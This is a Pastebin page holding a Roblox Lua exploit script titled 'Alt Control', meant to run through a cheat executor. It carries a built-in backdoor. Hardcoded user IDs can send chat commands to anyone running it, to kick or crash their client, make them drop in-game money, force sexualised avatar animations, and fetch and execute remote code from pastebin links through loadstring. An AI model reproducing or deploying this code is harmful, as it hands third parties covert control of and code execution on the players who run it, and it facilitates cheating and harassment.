Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local success, error = pcall(function()
- function Notification(text)
- game.StarterGui:SetCore("SendNotification", {
- Title = "Alt Control";
- Text = text;
- Icon = "rbxthumb://type=Asset&id=5107182114&w=150&h=150";
- Duration = 10;
- })
- end
- function StopNormal()
- for i,v in pairs(game.Players.LocalPlayer.Character.Humanoid:GetPlayingAnimationTracks()) do if v.Animation.AnimationId == "rbxassetid://5918726674" or v.Animation.AnimationId == "rbxassetid://3109736639" or v.Animation.AnimationId == "rbxassetid://3152378852" or v.Animation.AnimationId == "rbxassetid://5918726674" then v:Stop() end end
- if game.Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').Sit == true then
- game.Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').Sit = false
- end
- if game.Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').Sit == true and game:GetService("Workspace").OldVehicles:FindFirstChild(""..AltControl.Alt.."BIKE").VehicleSeat:FindFirstChild("SeatWeld") then
- repeat task.wait()
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-115, -58, 149)
- until game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame == CFrame.new(-115, -58, 149)
- task.wait(0.3)
- game:GetService("VirtualInputManager"):SendKeyEvent(true,"Space",false,game) task.wait(0.2) game:GetService("VirtualInputManager"):SendKeyEvent(false,"Space",false,game)
- end
- end
- function StopAll()
- Target = nil
- Target2 = nil
- EnableFire = false
- KillLoop = false
- MeleeKillLoop = false
- Save = false
- SaveYourself = false
- SaveTarget = false
- CallPlayer = false
- CallAll = false
- GrenadeLauncherEnabled = false
- GrenadeEnabled = false
- TP = false
- StopNormal()
- if Loop then
- Loop:Disconnect()
- end
- end
- local Premium = {
- 393415794,
- 2852653009,
- 3061112851,
- }
- local AbovePremium = {
- 123,
- 2065837,
- }
- getgenv().AboveShield = true
- getgenv().Shield = true
- local bending = false
- local sucking2 = false
- local kickmsg = 'Premium User has Kicked you'
- local function commands(msg,plr)
- if getgenv().Shield == true then
- if table.find(Premium, plr) then
- local Mod = game:GetService('Players'):GetPlayerByUserId(plr)
- local Msg = string.lower(msg)
- local SplitCMD = string.split(Msg,' ')
- local Lower = string.lower(game.Players.LocalPlayer.Name)
- local Allowed = string.find(Lower, SplitCMD[2])
- if Allowed then
- if string.find(SplitCMD[1], '!freeze') then
- game.Players.LocalPlayer.Character.HumanoidRootPart.Anchored = true
- end
- if string.find(SplitCMD[1], '!unfreeze') then
- game.Players.LocalPlayer.Character.HumanoidRootPart.Anchored = false
- end
- if string.find(SplitCMD[1], '!benx') then
- StopAll()
- bending = true
- local BenxTarget = Mod.Name local Crouch = game.Players.LocalPlayer.Character:FindFirstChildWhichIsA('Humanoid'):LoadAnimation(game:GetService("ReplicatedStorage").ClientAnimations.Crouching) Crouch.Looped = true Crouch:Play() local away = .5 local reversing = false
- if game.Players.LocalPlayer.Character:FindFirstChild('Shirt') then game.Players.LocalPlayer.Character:FindFirstChild('Shirt'):Destroy() end
- if game.Players.LocalPlayer.Character:FindFirstChild('Pants') then game.Players.LocalPlayer.Character:FindFirstChild('Pants'):Destroy() end
- local Loop local loopFunction = function()
- if game.Workspace.Players:FindFirstChild(BenxTarget) or game.Workspace:FindFirstChild(BenxTarget) then
- if reversing == true then away = away - 0.1 else away = away + 0.1 end
- if away >= 2 then reversing = true elseif away < 0.5 then reversing = false end
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = game.Players[BenxTarget].Character.HumanoidRootPart.CFrame + game.Players[BenxTarget].Character.HumanoidRootPart.CFrame.lookVector * away
- end
- end
- local Start = function() Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction); end;
- local Pause = function() Loop:Disconnect() Crouch:Stop() end;
- Start()
- repeat wait() until bending == false
- Pause()
- end
- if string.find(SplitCMD[1], '!unbenx') then
- while bending == true do
- wait()
- bending = false
- end
- end
- if string.find(SplitCMD[1], '!throat') then
- StopAll()
- sucking2 = true
- local SuckingTarget = Mod.Name
- local BangAnim = Instance.new("Animation") BangAnim.AnimationId = "rbxassetid://4686925579" local BangAnimPlay = game.Players.LocalPlayer.Character:WaitForChild("Humanoid"):LoadAnimation(BangAnim) BangAnimPlay:Play() BangAnimPlay:AdjustSpeed(8)
- game:GetService('RunService').Stepped:connect(function()
- if sucking2 == true then
- game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")[SuckingTarget].Character.HumanoidRootPart.CFrame * CFrame.new(0,-2.5,-3) * CFrame.Angles(0,math.rad(180),0)
- end
- end)
- end
- if string.find(SplitCMD[1], '!unthroat') then
- sucking2 = false
- for i,v in pairs(game.Players.LocalPlayer.Character.Humanoid:GetPlayingAnimationTracks()) do
- if v.Animation.AnimationId == "rbxassetid://4686925579" then
- v:Stop()
- end
- end
- end
- if string.find(SplitCMD[1], '!kick') then
- if not table.find(Premium, game.Players.LocalPlayer.UserId) then
- kickmsg = ""..Mod.Name.." has kicked you"
- game.Players.LocalPlayer:Kick(kickmsg)
- end
- end
- if string.find(SplitCMD[1], '!bring') then
- StopAll()
- task.wait(0.2)
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(game.Workspace.Players:FindFirstChild(Mod.Name).HumanoidRootPart.Position)
- end
- if string.find(SplitCMD[1], '!fling') then
- game.Players.LocalPlayer.Character.HumanoidRootPart.Velocity = Vector3.new(500000,500000,500000)
- end
- if string.find(SplitCMD[1], '!rdance') then
- loadstring(game:HttpGet('https://pastebin.com/raw/Ce5qJ4ND'))()
- end
- if string.find(SplitCMD[1], '!explode') then
- game.Players.LocalPlayer.Character.Humanoid.RigType = "R6" loadstring(game:HttpGet('https://pastebin.com/raw/rTAe81vM'))() --game:GetService("ReplicatedStorage").MainEvent:FireServer("ResetNew")
- end
- if string.find(SplitCMD[1], '!jumpscare') then
- UserSettings():GetService("UserGameSettings").MasterVolume = 3
- loadstring(game:HttpGet('https://pastebin.com/raw/G7pZ1z1L'))()
- task.wait(0.5)
- UserSettings():GetService("UserGameSettings").MasterVolume = 0
- end
- if string.find(SplitCMD[1], '!fmap') then
- loadstring(game:HttpGet('https://pastebin.com/raw/GgraWMBu'))()
- end
- if string.find(SplitCMD[1], '!rejoin') then
- game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId, game.JobId)
- end
- if string.find(SplitCMD[1], '!troll') then
- for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do if v:IsA("BasePart") and v.Name == "RightUpperArm" or v.Name == "RightUpperLeg" or v.Name == "LeftUpperLeg" or v.Name == "LeftUpperArm" then v:Destroy() end end
- for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do if v:IsA("BasePart") and v.Name == "Right Arm" or v.Name == "Right Leg" or v.Name == "Left Leg" or v.Name == "Left Arm" then v:Destroy() end end
- pcall(function() game.Players.LocalPlayer.Character.Head.Neck:Destroy() game.Players.LocalPlayer.Character.UpperTorso.NeckAttachment:Destroy() game.Players.LocalPlayer.Character.Humanoid.HealthDisplayDistance = math.huge game.Players.LocalPlayer.Character.Humanoid.NameDisplayDistance = math.huge game.Players.LocalPlayer.Character.Head.Size = Vector3.new(0,0,0) game.Players.LocalPlayer.Character.Head.Massless = true game.Players.LocalPlayer.Character.Head.CanCollide = false game.Players.LocalPlayer.Character.Head.NeckRigAttachment.CFrame = CFrame.new(0, 100000.4736328125, 0) game.Players.LocalPlayer.Character.UpperTorso.NeckRigAttachment.CFrame = CFrame.new(0, 100000.4736328125, 0) game.Players.LocalPlayer.Character.Head.CFrame = CFrame.new(0, 100000.4736328125, 0) end)
- end
- if string.find(SplitCMD[1], '!blackscreen') then
- loadstring(game:HttpGet('https://pastebin.com/raw/vsw1Zg3z'))()
- end
- if string.find(SplitCMD[1], '!reset') then
- game.Players.LocalPlayer.Character.Humanoid.RigType = "R6" --game:GetService("ReplicatedStorage").MainEvent:FireServer("ResetNew")
- end
- if string.find(SplitCMD[1], '!drop') then
- game:GetService("ReplicatedStorage").MainEvent:FireServer("DropMoney",10000)
- end
- if string.find(SplitCMD[1], '!crash') then
- while true do end
- end
- if string.find(SplitCMD[1], '!flash') then
- game:GetService("TweenService"):Create(game:GetService("Lighting").ColorCorrection, TweenInfo.new(0.13), {Saturation = -111}):Play()
- local Sound1 = Instance.new("Sound", workspace) local Sound2 = Instance.new("Sound", workspace) Sound1.Volume = 8 Sound2.Volume = 8 Sound1.SoundId = "rbxassetid://9114466095" Sound2.SoundId = "rbxassetid://9114465870"
- Sound1:Play() task.wait(0.1) Sound2:Play() task.wait(0.1) Sound1:Play() task.wait(0.1) Sound2:Play() task.wait(0.1) Sound1:Play() task.wait(0.1) Sound2:Play() task.wait(0.1) Sound1:Play() task.wait(0.1) Sound2:Play() task.wait(0.1) Sound1:Play() task.wait(0.1) Sound2:Play() task.wait(0.1) Sound1:Play() task.wait(0.1) Sound2:Play()
- game:GetService("TweenService"):Create(game:GetService("Lighting").ColorCorrection, TweenInfo.new(0.13), {Saturation = 0}):Play()
- end
- if string.find(SplitCMD[1], '!ban') then
- game.Players.LocalPlayer:Kick("PERMA BAN")
- end
- if string.find(SplitCMD[1], '!find') then
- FindMsg = ""..Mod.DisplayName.." Is The Alpha"
- game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(FindMsg, 'All')
- end
- else
- return
- end
- end
- end
- if getgenv().AboveShield == true then
- if table.find(AbovePremium, plr) then
- local Mod = game:GetService('Players'):GetPlayerByUserId(plr)
- local Msg = string.lower(msg)
- local SplitCMD = string.split(Msg,' ')
- local Lower = string.lower(game.Players.LocalPlayer.Name)
- local Allowed = string.find(Lower, SplitCMD[2])
- if Allowed then
- if string.find(SplitCMD[1], '!freeze') then
- game.Players.LocalPlayer.Character.HumanoidRootPart.Anchored = true
- end
- if string.find(SplitCMD[1], '!unfreeze') then
- game.Players.LocalPlayer.Character.HumanoidRootPart.Anchored = false
- end
- if string.find(SplitCMD[1], '!benx') then
- StopAll()
- bending = true
- local BenxTarget = Mod.Name local Crouch = game.Players.LocalPlayer.Character:FindFirstChildWhichIsA('Humanoid'):LoadAnimation(game:GetService("ReplicatedStorage").ClientAnimations.Crouching) Crouch.Looped = true Crouch:Play() local away = .5 local reversing = false
- if game.Players.LocalPlayer.Character:FindFirstChild('Shirt') then game.Players.LocalPlayer.Character:FindFirstChild('Shirt'):Destroy() end
- if game.Players.LocalPlayer.Character:FindFirstChild('Pants') then game.Players.LocalPlayer.Character:FindFirstChild('Pants'):Destroy() end
- local Loop local loopFunction = function()
- if game.Workspace.Players:FindFirstChild(BenxTarget) or game.Workspace:FindFirstChild(BenxTarget) then
- if reversing == true then away = away - 0.1 else away = away + 0.1 end
- if away >= 2 then reversing = true elseif away < 0.5 then reversing = false end
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = game.Players[BenxTarget].Character.HumanoidRootPart.CFrame + game.Players[BenxTarget].Character.HumanoidRootPart.CFrame.lookVector * away
- end
- end
- local Start = function() Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction); end;
- local Pause = function() Loop:Disconnect() Crouch:Stop() end;
- Start()
- repeat wait() until bending == false
- Pause()
- end
- if string.find(SplitCMD[1], '!unbenx') then
- while bending == true do
- wait()
- bending = false
- end
- end
- if string.find(SplitCMD[1], '!throat') then
- StopAll()
- sucking2 = true
- local SuckingTarget = Mod.Name
- local BangAnim = Instance.new("Animation") BangAnim.AnimationId = "rbxassetid://4686925579" local BangAnimPlay = game.Players.LocalPlayer.Character:WaitForChild("Humanoid"):LoadAnimation(BangAnim) BangAnimPlay:Play() BangAnimPlay:AdjustSpeed(8)
- game:GetService('RunService').Stepped:connect(function()
- if sucking2 == true then
- game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")[SuckingTarget].Character.HumanoidRootPart.CFrame * CFrame.new(0,-2.5,-3) * CFrame.Angles(0,math.rad(180),0)
- end
- end)
- end
- if string.find(SplitCMD[1], '!unthroat') then
- sucking2 = false
- for i,v in pairs(game.Players.LocalPlayer.Character.Humanoid:GetPlayingAnimationTracks()) do
- if v.Animation.AnimationId == "rbxassetid://4686925579" then
- v:Stop()
- end
- end
- end
- if string.find(SplitCMD[1], '!kick') then
- if not table.find(AbovePremium, game.Players.LocalPlayer.UserId) then
- kickmsg = ""..Mod.Name.." has kicked you"
- game.Players.LocalPlayer:Kick(kickmsg)
- end
- end
- if string.find(SplitCMD[1], '!bring') then
- StopAll()
- task.wait(0.2)
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(game.Workspace.Players:FindFirstChild(Mod.Name).HumanoidRootPart.Position)
- end
- if string.find(SplitCMD[1], '!fling') then
- game.Players.LocalPlayer.Character.HumanoidRootPart.Velocity = Vector3.new(500000,500000,500000)
- end
- if string.find(SplitCMD[1], '!rdance') then
- loadstring(game:HttpGet('https://pastebin.com/raw/Ce5qJ4ND'))()
- end
- if string.find(SplitCMD[1], '!explode') then
- game.Players.LocalPlayer.Character.Humanoid.RigType = "R6" loadstring(game:HttpGet('https://pastebin.com/raw/rTAe81vM'))() --game:GetService("ReplicatedStorage").MainEvent:FireServer("ResetNew")
- end
- if string.find(SplitCMD[1], '!jumpscare') then
- UserSettings():GetService("UserGameSettings").MasterVolume = 3
- loadstring(game:HttpGet('https://pastebin.com/raw/G7pZ1z1L'))()
- task.wait(0.5)
- UserSettings():GetService("UserGameSettings").MasterVolume = 0
- end
- if string.find(SplitCMD[1], '!fmap') then
- loadstring(game:HttpGet('https://pastebin.com/raw/GgraWMBu'))()
- end
- if string.find(SplitCMD[1], '!rejoin') then
- game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId, game.JobId)
- end
- if string.find(SplitCMD[1], '!troll') then
- for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do if v:IsA("BasePart") and v.Name == "RightUpperArm" or v.Name == "RightUpperLeg" or v.Name == "LeftUpperLeg" or v.Name == "LeftUpperArm" then v:Destroy() end end
- for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do if v:IsA("BasePart") and v.Name == "Right Arm" or v.Name == "Right Leg" or v.Name == "Left Leg" or v.Name == "Left Arm" then v:Destroy() end end
- pcall(function() game.Players.LocalPlayer.Character.Head.Neck:Destroy() game.Players.LocalPlayer.Character.UpperTorso.NeckAttachment:Destroy() game.Players.LocalPlayer.Character.Humanoid.HealthDisplayDistance = math.huge game.Players.LocalPlayer.Character.Humanoid.NameDisplayDistance = math.huge game.Players.LocalPlayer.Character.Head.Size = Vector3.new(0,0,0) game.Players.LocalPlayer.Character.Head.Massless = true game.Players.LocalPlayer.Character.Head.CanCollide = false game.Players.LocalPlayer.Character.Head.NeckRigAttachment.CFrame = CFrame.new(0, 100000.4736328125, 0) game.Players.LocalPlayer.Character.UpperTorso.NeckRigAttachment.CFrame = CFrame.new(0, 100000.4736328125, 0) game.Players.LocalPlayer.Character.Head.CFrame = CFrame.new(0, 100000.4736328125, 0) end)
- end
- if string.find(SplitCMD[1], '!blackscreen') then
- loadstring(game:HttpGet('https://pastebin.com/raw/vsw1Zg3z'))()
- end
- if string.find(SplitCMD[1], '!reset') then
- game.Players.LocalPlayer.Character.Humanoid.RigType = "R6" --game:GetService("ReplicatedStorage").MainEvent:FireServer("ResetNew")
- end
- if string.find(SplitCMD[1], '!drop') then
- game:GetService("ReplicatedStorage").MainEvent:FireServer("DropMoney",10000)
- end
- if string.find(SplitCMD[1], '!crash') then
- while true do end
- end
- if string.find(SplitCMD[1], '!flash') then
- game:GetService("TweenService"):Create(game:GetService("Lighting").ColorCorrection, TweenInfo.new(0.13), {Saturation = -111}):Play()
- local Sound1 = Instance.new("Sound", workspace) local Sound2 = Instance.new("Sound", workspace) Sound1.Volume = 8 Sound2.Volume = 8 Sound1.SoundId = "rbxassetid://9114466095" Sound2.SoundId = "rbxassetid://9114465870"
- Sound1:Play() task.wait(0.1) Sound2:Play() task.wait(0.1) Sound1:Play() task.wait(0.1) Sound2:Play() task.wait(0.1) Sound1:Play() task.wait(0.1) Sound2:Play() task.wait(0.1) Sound1:Play() task.wait(0.1) Sound2:Play() task.wait(0.1) Sound1:Play() task.wait(0.1) Sound2:Play() task.wait(0.1) Sound1:Play() task.wait(0.1) Sound2:Play()
- game:GetService("TweenService"):Create(game:GetService("Lighting").ColorCorrection, TweenInfo.new(0.13), {Saturation = 0}):Play()
- end
- if string.find(SplitCMD[1], '!ban') then
- game.Players.LocalPlayer:Kick("PERMA BAN")
- end
- if string.find(SplitCMD[1], '!find') then
- FindMsg = ""..Mod.DisplayName.." Is The Alpha"
- game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(FindMsg, 'All')
- end
- else
- return
- end
- end
- end
- game:GetService("RunService").Heartbeat:Connect(function()
- if table.find(AbovePremium, plr) then
- getgenv().Shield = true
- end
- end)
- end
- game.Players.PlayerAdded:Connect(function(plr)
- if table.find(Premium, plr.UserId) then
- Notification('Premium user found')
- if getgenv().AltControl.Toggles.MutePremiumDirectly == true then
- getgenv().Shield = false
- task.wait(0.5)
- getgenv().Shield = false
- Notification('Premium Auto muted')
- end
- plr.Chatted:Connect(function(msg)
- commands(msg, plr.UserId)
- end)
- end
- end)
- for i,v in pairs(game:GetService('Players'):GetChildren()) do
- if table.find(Premium, v.UserId) then
- Notification('Premium user found')
- if getgenv().AltControl.Toggles.MutePremiumDirectly == true then
- getgenv().Shield = false
- task.wait(0.5)
- getgenv().Shield = false
- Notification('Premium Auto muted')
- end
- v.Chatted:Connect(function(msg)
- commands(msg, v.UserId)
- end)
- end
- end
- game.Players.PlayerAdded:Connect(function(plr)
- if table.find(AbovePremium, plr.UserId) then
- Notification('Above Premium user found')
- if getgenv().AltControl.Toggles.MutePremiumDirectly == true then
- getgenv().AboveShield = false
- task.wait(0.5)
- getgenv().AboveShield = false
- Notification('Above Premium Auto muted')
- end
- plr.Chatted:Connect(function(msg)
- commands(msg, plr.UserId)
- end)
- end
- end)
- for i,v in pairs(game:GetService('Players'):GetChildren()) do
- if table.find(AbovePremium, v.UserId) then
- Notification('Above Premium user found')
- if getgenv().AltControl.Toggles.MutePremiumDirectly == true then
- getgenv().AboveShield = false
- task.wait(0.5)
- getgenv().AboveShield = false
- Notification('Above Premium Auto muted')
- end
- v.Chatted:Connect(function(msg)
- commands(msg, v.UserId)
- end)
- end
- end
- end)
- if error then print(error) end
- local host = getgenv().AltControl.Owner
- local Owner = { host }
- game.ReplicatedStorage.DefaultChatSystemChatEvents.OnMessageDoneFiltering.OnClientEvent:Connect(function(message) local player = message.FromSpeaker local chat = message.Message
- if string.find(chat,'!shield') and table.find(Owner, player) then
- getgenv().Shield = false
- Notification('Premium muted')
- end
- if string.find(chat,'!unshield') and table.find(Owner, player) then
- getgenv().Shield = true
- Notification('Premium unmuted')
- end
- if string.find(chat,'!ashield') and table.find(Owner, player) then
- getgenv().AboveShield = false
- Notification('Above Premium muted')
- end
- if string.find(chat,'!aunshield') and table.find(Owner, player) then
- getgenv().AboveShield = true
- Notification('Above Premium unmuted')
- end
- end)
Advertisement
Add Comment
Please, Sign In to add comment